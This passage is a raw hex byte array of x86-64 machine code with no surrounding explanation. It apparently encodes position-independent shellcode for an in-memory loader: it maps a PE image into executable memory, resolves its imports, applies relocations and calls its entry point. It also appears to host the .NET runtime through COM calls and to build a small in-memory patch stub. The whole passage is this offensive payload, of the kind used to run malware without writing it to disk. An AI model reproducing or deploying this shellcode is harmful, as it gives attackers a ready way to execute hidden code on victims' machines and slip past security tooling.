0x48, 0x8b, 0x01, 0xff, 0x90, 0x68, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x48,
0x8b, 0x43, 0x10, 0x40, 0x0f, 0x94, 0xc5, 0x33, 0xd2, 0x49, 0x39, 0x97,
0x10, 0x19, 0x00, 0x00, 0x76, 0x1c, 0x33, 0xc9, 0x41, 0xc6, 0x84, 0x0f,
0x18, 0x19, 0x00, 0x00, 0x00, 0xff, 0xc2, 0xc6, 0x04, 0x01, 0x00, 0x8b,
0xca, 0x49, 0x3b, 0x8f, 0x10, 0x19, 0x00, 0x00, 0x72, 0xe6, 0x48, 0x8b,
0xcb, 0xff, 0x96, 0x98, 0x00, 0x00, 0x00, 0x8b, 0xc5, 0x48, 0x8b, 0x5c,
0x24, 0x68, 0x48, 0x8b, 0x6c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x30, 0x41,
0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24,
0x10, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
0x48, 0x8d, 0x6c, 0x24, 0xd9, 0x48, 0x81, 0xec, 0x00, 0x01, 0x00, 0x00,
0x45, 0x33, 0xed, 0x48, 0x8d, 0xb9, 0x58, 0x07, 0x00, 0x00, 0x33, 0xc0,
0x4c, 0x89, 0x6c, 0x24, 0x48, 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x45, 0x9f,
0x4c, 0x8b, 0xf2, 0x66, 0x44, 0x89, 0x6d, 0x67, 0x45, 0x8d, 0x65, 0x01,
0x48, 0x8b, 0xd9, 0x41, 0x8b, 0xf5, 0x0f, 0x11, 0x45, 0x8f, 0x44, 0x39,
0xa1, 0x1c, 0x05, 0x00, 0x00, 0x74, 0x03, 0x48, 0x8b, 0x3f, 0x83, 0x3f,
0x02, 0x0f, 0x85, 0x91, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4a, 0x28, 0x48,
0x83, 0xc2, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x80, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x88, 0x6f, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38,
0x48, 0x8d, 0x54, 0x24, 0x48, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x90, 0x00,
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xac, 0x02, 0x00, 0x00, 0x48, 0x8b,
0x4c, 0x24, 0x48, 0x4c, 0x8d, 0x44, 0x24, 0x40, 0x41, 0x8b, 0xd4, 0xff,
0x93, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8d,
0x45, 0x7f, 0x41, 0x8b, 0xd4, 0xff, 0x93, 0xa8, 0x00, 0x00, 0x00, 0x8b,
0x45, 0x7f, 0x2b, 0x44, 0x24, 0x40, 0x41, 0x03, 0xc4, 0x0f, 0x84, 0xcb,
0x00, 0x00, 0x00, 0xb9, 0x0c, 0x00, 0x00, 0x00, 0x45, 0x8b, 0xc4, 0x33,
0xd2, 0xff, 0x93, 0x88, 0x00, 0x00, 0x00, 0x33, 0xd2, 0xb9, 0x08, 0x00,
0x00, 0x00, 0x44, 0x39, 0xaf, 0x04, 0x08, 0x00, 0x00, 0x48, 0x8b, 0xf0,
0xb8, 0x08, 0x20, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x50, 0x74, 0x5a,
0x44, 0x8b, 0x87, 0x04, 0x08, 0x00, 0x00, 0xff, 0x93, 0x88, 0x00, 0x00,
0x00, 0x41, 0x8b, 0xcd, 0x89, 0x4d, 0x77, 0x48, 0x89, 0x44, 0x24, 0x58,
0x44, 0x39, 0xaf, 0x04, 0x08, 0x00, 0x00, 0x76, 0x67, 0x48, 0xc1, 0xe1,
0x09, 0x48, 0x81, 0xc1, 0x08, 0x08, 0x00, 0x00, 0x48, 0x03, 0xcf, 0xff,
0x93, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x8d,
0x55, 0x77, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x8b,
0x4d, 0x77, 0x41, 0x03, 0xcc, 0x89, 0x4d, 0x77, 0x3b, 0x8f, 0x04, 0x08,
0x00, 0x00, 0x72, 0xc9, 0xeb, 0x2e, 0x45, 0x8b, 0xc4, 0xff, 0x93, 0x88,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0x44, 0x89, 0x6d, 0x77, 0x48,
0x89, 0x44, 0x24, 0x58, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8b,
0x4c, 0x24, 0x58, 0x48, 0x8d, 0x55, 0x77, 0x4c, 0x8b, 0xc0, 0xff, 0x93,
0x90, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x44, 0x89, 0x6d,
0x77, 0x48, 0x8d, 0x55, 0x77, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x90, 0x00,
0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, 0x4c, 0x8d, 0x4d, 0xef, 0xf2, 0x0f,
0x10, 0x4d, 0x9f, 0x48, 0x8d, 0x55, 0xb7, 0x66, 0x44, 0x89, 0x65, 0x8f,
0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x6d, 0x97, 0x0f, 0x10, 0x45, 0x8f, 0x48,
0x8b, 0x01, 0xf2, 0x0f, 0x11, 0x4d, 0xc7, 0x0f, 0x29, 0x45, 0xb7, 0xff,
0x90, 0x28, 0x01, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x70, 0x01,
0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x93, 0x98, 0x00, 0x00,
0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x98, 0x00, 0x00, 0x00, 0xe9, 0x57,
0x01, 0x00, 0x00, 0x4d, 0x89, 0x6e, 0x38, 0xe9, 0x4e, 0x01, 0x00, 0x00,
0x48, 0x8d, 0x8f, 0x04, 0x04, 0x00, 0x00, 0xff, 0x93, 0xb0, 0x00, 0x00,
0x00, 0x4c, 0x8b, 0xe0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x38, 0x01, 0x00,
0x00, 0x48, 0x8d, 0x8f, 0x04, 0x06, 0x00, 0x00, 0xff, 0x93, 0xb0, 0x00,
0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0d, 0x01,
0x00, 0x00, 0x49, 0x8b, 0x4e, 0x28, 0x4d, 0x8d, 0x7e, 0x30, 0x4d, 0x8b,
0xc7, 0x4c, 0x89, 0x7d, 0xa7, 0x49, 0x8b, 0xd4, 0x4c, 0x8b, 0x09, 0x41,
0xff, 0x91, 0x88, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0, 0x85, 0xc0, 0x0f,
0x88, 0xdd, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x87, 0x04, 0x08, 0x00, 0x00,
0x45, 0x85, 0xc0, 0x74, 0x7e, 0xb9, 0x0c, 0x00, 0x00, 0x00, 0x33, 0xd2,
0xff, 0x93, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0,
0x74, 0x69, 0x83, 0x65, 0x77, 0x00, 0x83, 0xbf, 0x04, 0x08, 0x00, 0x00,
0x00, 0x76, 0x5c, 0x33, 0xc0, 0x44, 0x8d, 0x78, 0x08, 0x8b, 0xc8, 0x48,
0xc1, 0xe1, 0x09, 0x48, 0x81, 0xc1, 0x08, 0x08, 0x00, 0x00, 0x48, 0x03,
0xcf, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xd7, 0x66,
0x44, 0x89, 0x7d, 0xd7, 0x48, 0x8d, 0x55, 0x77, 0x48, 0x89, 0x45, 0xdf,
0x48, 0x8b, 0xce, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0,
0x85, 0xc0, 0x79, 0x0b, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x98, 0x00, 0x00,
0x00, 0x33, 0xf6, 0x8b, 0x45, 0x77, 0xff, 0xc0, 0x89, 0x45, 0x77, 0x3b,
0x87, 0x04, 0x08, 0x00, 0x00, 0x72, 0xae, 0x4c, 0x8b, 0x7d, 0xa7, 0x45,
0x85, 0xf6, 0x78, 0x4e, 0x49, 0x8b, 0x0f, 0x48, 0x8d, 0x55, 0x07, 0x48,
0x89, 0x54, 0x24, 0x30, 0x0f, 0x57, 0xc0, 0x48, 0x8d, 0x55, 0xb7, 0x0f,
0x29, 0x45, 0xb7, 0xf2, 0x0f, 0x10, 0x45, 0x9f, 0x45, 0x33, 0xc9, 0x48,
0x8b, 0x01, 0x41, 0xb8, 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24,
0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x49, 0x8b, 0xd5, 0xf2, 0x0f, 0x11,
0x45, 0xc7, 0xff, 0x90, 0xc8, 0x01, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x74,
0x09, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x98, 0x00, 0x00, 0x00, 0x49, 0x8b,
0xcd, 0xff, 0x93, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0xff, 0x93,
0xb8, 0x00, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b,
0xc4, 0x48, 0x8b, 0x9c, 0x24, 0x48, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4,
0x00, 0x01, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c,
0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x56, 0x57,
0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x6c, 0x24,
0xd9, 0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x83, 0xb9, 0x1c, 0x05,
0x00, 0x00, 0x01, 0x4c, 0x8d, 0xa9, 0x58, 0x07, 0x00, 0x00, 0xb8, 0x01,
0x00, 0x00, 0x48, 0x4c, 0x89, 0x6d, 0x67, 0x89, 0x45, 0x8b, 0x4c, 0x8b,
0xf1, 0x89, 0x45, 0x93, 0x89, 0x45, 0x9b, 0x89, 0x45, 0xa3, 0x89, 0x45,
0xab, 0x89, 0x45, 0xe7, 0x89, 0x45, 0xff, 0x89, 0x45, 0x07, 0x89, 0x45,
0x0f, 0x89, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x20, 0x31, 0xc0, 0x48, 0x79,
0xc7, 0x44, 0x24, 0x24, 0x1b, 0x8b, 0x44, 0x24, 0xc7, 0x44, 0x24, 0x28,
0x04, 0x8b, 0x4c, 0x24, 0xc7, 0x44, 0x24, 0x2c, 0x08, 0x8b, 0x54, 0x24,
0xc7, 0x44, 0x24, 0x30, 0x0c, 0x52, 0x81, 0xc2, 0xc7, 0x44, 0x24, 0x34,
0x00, 0x02, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x38, 0x83, 0xe9, 0x01, 0x75,
0xc7, 0x45, 0x83, 0xf4, 0xff, 0xd0, 0xc3, 0xc7, 0x45, 0x87, 0x48, 0x81,
0xec, 0x48, 0xc7, 0x45, 0x8f, 0x89, 0xac, 0x24, 0x30, 0xc7, 0x45, 0x97,
0x89, 0x9c, 0x24, 0x38, 0xc7, 0x45, 0x9f, 0x89, 0xbc, 0x24, 0x20, 0xc7,
0x45, 0xa7, 0x89, 0xb4, 0x24, 0x28, 0xc7, 0x45, 0xaf, 0x89, 0xe6, 0x48,
0x89, 0xc7, 0x45, 0xb3, 0xcf, 0xb8, 0x00, 0x02, 0xc7, 0x45, 0xb7, 0x00,
0x00, 0x4c, 0x89, 0xc7, 0x45, 0xbb, 0xc1, 0x48, 0x8d, 0x14, 0xc7, 0x45,
0xbf, 0x01, 0x4c, 0x8d, 0x04, 0xc7, 0x45, 0xc3, 0x02, 0x4d, 0x8d, 0x0c,
0xc7, 0x45, 0xc7, 0x00, 0x49, 0x8d, 0x1c, 0xc7, 0x45, 0xcb, 0x01, 0x48,
0x89, 0x9c, 0xc7, 0x45, 0xcf, 0x24, 0x00, 0x01, 0x00, 0xc7, 0x45, 0xd3,
0x00, 0x48, 0x01, 0xc3, 0xc7, 0x45, 0xd7, 0x48, 0x89, 0x9c, 0x24, 0xc7,
0x45, 0xdb, 0x08, 0x01, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0x48, 0x01, 0xc3,
0x48, 0xc7, 0x45, 0xe3, 0x89, 0x9c, 0x24, 0x10, 0xc7, 0x45, 0xeb, 0x01,
0xc3, 0x48, 0x89, 0xc7, 0x45, 0xef, 0x9c, 0x24, 0x18, 0x01, 0xc7, 0x45,
0xf3, 0x00, 0x00, 0xff, 0xd7, 0xc7, 0x45, 0xf7, 0x48, 0x89, 0xf4, 0x48,
0xc7, 0x45, 0xfb, 0x8b, 0xb4, 0x24, 0x28, 0xc7, 0x45, 0x03, 0x8b, 0xbc,
0x24, 0x20, 0xc7, 0x45, 0x0b, 0x8b, 0x9c, 0x24, 0x38, 0xc7, 0x45, 0x13,
0x8b, 0xac, 0x24, 0x30, 0xc7, 0x45, 0x1b, 0x81, 0xc4, 0x48, 0x01, 0xc7,
0x45, 0x1f, 0x00, 0x00, 0xc3, 0x00, 0x74, 0x08, 0x4d, 0x8b, 0x6d, 0x00,
0x4c, 0x89, 0x6d, 0x67, 0x49, 0x8d, 0xb5, 0x18, 0x19, 0x00, 0x00, 0x33,
0xc9, 0x48, 0x63, 0x7e, 0x3c, 0x48, 0x03, 0xfe, 0x48, 0x89, 0x7d, 0x6f,
0x41, 0xff, 0x56, 0x40, 0x48, 0x89, 0x45, 0x77, 0x48, 0x63, 0x48, 0x3c,
0x0f, 0xb7, 0x54, 0x01, 0x04, 0x66, 0x39, 0x57, 0x04, 0x0f, 0x85, 0x13,
0x03, 0x00, 0x00, 0x8b, 0x57, 0x50, 0x33, 0xc9, 0xb8, 0x00, 0x10, 0x00,
0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x03, 0xd0, 0x44, 0x8d, 0x49,
0x40, 0x41, 0xff, 0x56, 0x48, 0x45, 0x33, 0xe4, 0x48, 0x8b, 0xd8, 0x48,
0x85, 0xc0, 0x0f, 0x84, 0xea, 0x02, 0x00, 0x00, 0x44, 0x8b, 0x47, 0x54,
0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xc8, 0xe8, 0x59, 0x0a, 0x00, 0x00, 0x44,
0x0f, 0xb7, 0x7f, 0x14, 0x33, 0xc0, 0x4c, 0x03, 0xff, 0x66, 0x3b, 0x47,
0x06, 0x73, 0x2d, 0x41, 0x8b, 0xc4, 0x48, 0x8d, 0x0c, 0x80, 0x41, 0x8b,
0x54, 0xcf, 0x2c, 0x45, 0x8b, 0x44, 0xcf, 0x28, 0x48, 0x03, 0xd6, 0x41,
0x8b, 0x4c, 0xcf, 0x24, 0x48, 0x03, 0xcb, 0xe8, 0x28, 0x0a, 0x00, 0x00,
0x0f, 0xb7, 0x47, 0x06, 0x41, 0xff, 0xc4, 0x44, 0x3b, 0xe0, 0x72, 0xd3,
0x8b, 0x87, 0x90, 0x00, 0x00, 0x00, 0x45, 0x33, 0xff, 0x85, 0xc0, 0x74,
0x6a, 0x48, 0x8d, 0x34, 0x03, 0x8b, 0x46, 0x0c, 0x85, 0xc0, 0x74, 0x5f,
0x8b, 0xc8, 0x48, 0x03, 0xcb, 0x41, 0xff, 0x56, 0x30, 0x44, 0x8b, 0x3e,
0x4c, 0x8b, 0xe8, 0x44, 0x8b, 0x66, 0x10, 0x4c, 0x03, 0xfb, 0x4c, 0x03,
0xe3, 0xeb, 0x26, 0x49, 0x8b, 0x46, 0x38, 0x48, 0x85, 0xc9, 0x79, 0x05,
0x0f, 0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d, 0x51, 0x02, 0x48, 0x03, 0xd3,
0x49, 0x8b, 0xcd, 0xff, 0xd0, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x89, 0x04,
0x24, 0x49, 0x83, 0xc4, 0x08, 0x49, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x75,
0xd2, 0x8b, 0x46, 0x20, 0x48, 0x83, 0xc6, 0x14, 0x85, 0xc0, 0x75, 0xac,
0x48, 0x8b, 0x7d, 0x6f, 0x45, 0x33, 0xff, 0x4c, 0x8b, 0x6d, 0x67, 0x8b,
0x87, 0xf0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x6c, 0x48, 0x8d, 0x70,
0x04, 0x48, 0x03, 0xf3, 0x8b, 0x06, 0x85, 0xc0, 0x74, 0x5f, 0x8b, 0xc8,
0x48, 0x03, 0xcb, 0x41, 0xff, 0x56, 0x30, 0x44, 0x8b, 0x7e, 0x0c, 0x4c,
0x8b, 0xe8, 0x44, 0x8b, 0x66, 0x08, 0x4c, 0x03, 0xfb, 0x4c, 0x03, 0xe3,
0xeb, 0x26, 0x49, 0x8b, 0x46, 0x38, 0x48, 0x85, 0xc9, 0x79, 0x05, 0x0f,
0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d, 0x51, 0x02, 0x48, 0x03, 0xd3, 0x49,
0x8b, 0xcd, 0xff, 0xd0, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x89, 0x04, 0x24,
0x49, 0x83, 0xc4, 0x08, 0x49, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x75, 0xd2,
0x48, 0x83, 0xc6, 0x20, 0x8b, 0x06, 0x85, 0xc0, 0x75, 0xac, 0x48, 0x8b,
0x7d, 0x6f, 0x45, 0x33, 0xff, 0x4c, 0x8b, 0x6d, 0x67, 0x8b, 0x87, 0xb0,
0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x48, 0x8b, 0xf3, 0x4c, 0x8d,
0x0c, 0x03, 0x48, 0x2b, 0x77, 0x30, 0x45, 0x39, 0x39, 0x74, 0x67, 0x41,
0xbc, 0x00, 0x10, 0x00, 0x00, 0x4d, 0x8d, 0x51, 0x08, 0xeb, 0x47, 0x41,
0x0f, 0xb7, 0x02, 0xb9, 0x00, 0xf0, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0xd8,
0x66, 0x23, 0xc1, 0xb9, 0x00, 0xa0, 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x75,
0x1f, 0x45, 0x8b, 0x01, 0x41, 0x81, 0xe3, 0xff, 0x0f, 0x00, 0x00, 0x4b,
0x8d, 0x04, 0x03, 0x48, 0x8b, 0x14, 0x18, 0x4b, 0x8d, 0x04, 0x03, 0x48,
0x03, 0xd6, 0x48, 0x89, 0x14, 0x18, 0xeb, 0x0a, 0x66, 0x45, 0x3b, 0xdc,
0x0f, 0x83, 0x39, 0x01, 0x00, 0x00, 0x49, 0x83, 0xc2, 0x02, 0x41, 0x8b,
0x41, 0x04, 0x49, 0x03, 0xc1, 0x4c, 0x3b, 0xd0, 0x75, 0xad, 0x4d, 0x8b,
0xca, 0x45, 0x39, 0x3a, 0x75, 0x9f, 0x8b, 0x87, 0xd0, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x74, 0x24, 0x48, 0x8b, 0x74, 0x18, 0x18, 0x48, 0x85, 0xf6,
0x74, 0x1a, 0xeb, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xcb, 0x41, 0x8d,
0x50, 0x01, 0xff, 0xd0, 0x48, 0x8d, 0x76, 0x08, 0x48, 0x8b, 0x06, 0x48,
0x85, 0xc0, 0x75, 0xe8, 0x8b, 0x47, 0x28, 0x48, 0x03, 0xc3, 0x41, 0x83,
0x7d, 0x00, 0x03, 0x0f, 0x85, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d,
0x77, 0x45, 0x33, 0xc0, 0x41, 0x8d, 0x50, 0x01, 0xff, 0xd0, 0x49, 0x8d,
0x95, 0x04, 0x06, 0x00, 0x00, 0x48, 0x89, 0x55, 0x6f, 0x66, 0x44, 0x39,
0x3a, 0x0f, 0x84, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0x87, 0x88, 0x00, 0x00,
0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb2, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc3,
0x8b, 0x78, 0x18, 0x85, 0xff, 0x0f, 0x84, 0xa4, 0x00, 0x00, 0x00, 0x8b,
0x70, 0x1c, 0x44, 0x8b, 0x60, 0x20, 0x48, 0x03, 0xf3, 0x44, 0x8b, 0x78,
0x24, 0x4c, 0x03, 0xe3, 0x4c, 0x03, 0xfb, 0xff, 0xcf, 0x41, 0x8b, 0x0c,
0xbc, 0x48, 0x03, 0xcb, 0xe8, 0x6b, 0x05, 0x00, 0x00, 0x33, 0xc9, 0x85,
0xc0, 0x74, 0x0a, 0x85, 0xff, 0x74, 0x78, 0x48, 0x8b, 0x55, 0x6f, 0xeb,
0xe2, 0x41, 0x0f, 0xb7, 0x04, 0x7f, 0x8b, 0x34, 0x86, 0x48, 0x03, 0xf3,
0x74, 0x65, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x30,
0x00, 0x00, 0x45, 0x8d, 0x79, 0x7c, 0x41, 0x8b, 0xd7, 0x41, 0xff, 0x56,
0x48, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x46, 0x45, 0x8b, 0xc7,
0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xc8, 0xe8, 0xc3, 0x07, 0x00,
0x00, 0x48, 0x8b, 0x45, 0x67, 0x48, 0x8b, 0xce, 0x8b, 0x90, 0x04, 0x08,
0x00, 0x00, 0x4c, 0x8d, 0x80, 0x08, 0x08, 0x00, 0x00, 0xff, 0xd7, 0x45,
0x8b, 0xc7, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xe8, 0xc0, 0x07, 0x00, 0x00,
0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x41,
0xff, 0x56, 0x50, 0xeb, 0x02, 0xff, 0xd0, 0x33, 0xd2, 0x41, 0xb8, 0x00,
0xc0, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x41, 0xff, 0x56, 0x50, 0x48, 0x8b,
0x9c, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xe0, 0x00, 0x00,
0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d,
0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x74,
0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d, 0xac, 0x24, 0xd0, 0xfe,
0xff, 0xff, 0x48, 0x81, 0xec, 0x30, 0x02, 0x00, 0x00, 0x83, 0xb9, 0x1c,
0x05, 0x00, 0x00, 0x01, 0x48, 0x8d, 0x99, 0x58, 0x07, 0x00, 0x00, 0x48,
0x8b, 0xf1, 0x74, 0x03, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x91, 0x50, 0x07,
0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d,
0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, 0x56,
0x48, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x6f, 0x02, 0x00,
0x00, 0x8b, 0x8b, 0x10, 0x19, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x18, 0x19,
0x00, 0x00, 0x03, 0xc9, 0x41, 0x83, 0xc9, 0xff, 0x89, 0x4c, 0x24, 0x28,
0x33, 0xd2, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x56, 0x70,
0x83, 0x65, 0xe8, 0x00, 0x48, 0x8d, 0x45, 0x80, 0x83, 0x65, 0xf8, 0x00,
0x48, 0x8d, 0x55, 0x08, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0xce, 0x48,
0x8d, 0x05, 0x9e, 0xe9, 0xff, 0xff, 0x48, 0x89, 0x75, 0x38, 0x48, 0x89,
0x45, 0x80, 0x48, 0x8d, 0x05, 0x23, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45,
0x88, 0x48, 0x8d, 0x05, 0x80, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0x90,
0x48, 0x8d, 0x05, 0xfd, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0x98, 0x48,
0x8d, 0x05, 0x7a, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa0, 0x48, 0x8d,
0x05, 0x6b, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa8, 0x48, 0x8d, 0x05,
0x60, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb0, 0x48, 0x8d, 0x05, 0x55,
0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x05, 0xe2, 0xe8,
0xff, 0xff, 0x48, 0x89, 0x45, 0xc0, 0x48, 0x8d, 0x05, 0x3f, 0xe8, 0xff,
0xff, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8d, 0x05, 0x34, 0xe8, 0xff, 0xff,
0x48, 0x89, 0x45, 0xd0, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48, 0x89, 0x45,
0xf0, 0x48, 0x8d, 0x05, 0xbc, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24,
0x50, 0x48, 0x8d, 0x05, 0xa0, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24,
0x58, 0x48, 0x8d, 0x05, 0xfc, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24,
0x60, 0x48, 0x8d, 0x05, 0x90, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24,
0x68, 0x48, 0x8d, 0x05, 0x84, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24,
0x70, 0x48, 0x8d, 0x45, 0x40, 0x48, 0x89, 0x45, 0x08, 0x48, 0x89, 0x75,
0x00, 0xe8, 0x92, 0xf1, 0xff, 0xff, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x96,
0x20, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x29, 0x01, 0x00, 0x00,
0x33, 0xd2, 0x48, 0x8d, 0x85, 0x50, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x8e,
0x9c, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x8e,
0x7c, 0x04, 0x00, 0x00, 0x44, 0x8d, 0x42, 0x03, 0xff, 0x96, 0x28, 0x01,
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xfb, 0x00, 0x00, 0x00, 0x48, 0x8b,
0x8d, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x96, 0xdc, 0x04, 0x00, 0x00,
0x4c, 0x8d, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x10,
0x85, 0xc0, 0x0f, 0x85, 0xbf, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x58,
0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x0f,
0x85, 0x9d, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x50, 0x01, 0x00, 0x00,
0x48, 0x8d, 0x55, 0xe0, 0x48, 0x89, 0x4d, 0x20, 0x48, 0x8b, 0x01, 0xff,
0x50, 0x18, 0x85, 0xc0, 0x0f, 0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x8e, 0xcc, 0x03, 0x00, 0x00, 0xff, 0x96, 0xb0, 0x00, 0x00, 0x00, 0x48,
0x8b, 0x8d, 0x50, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00,
0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x09, 0x41, 0xff, 0x51,
0x40, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00,
0x85, 0xdb, 0x75, 0x4a, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x45, 0x33,
0xc9, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xc0, 0x21, 0x5c,
0x24, 0x38, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0x8d, 0x58, 0x01, 0x00, 0x00,
0x21, 0x5c, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x83,
0x64, 0x24, 0x20, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x85, 0xc0,
0x75, 0x10, 0x48, 0x8b, 0x8d, 0x50, 0x01, 0x00, 0x00, 0x8d, 0x53, 0x02,
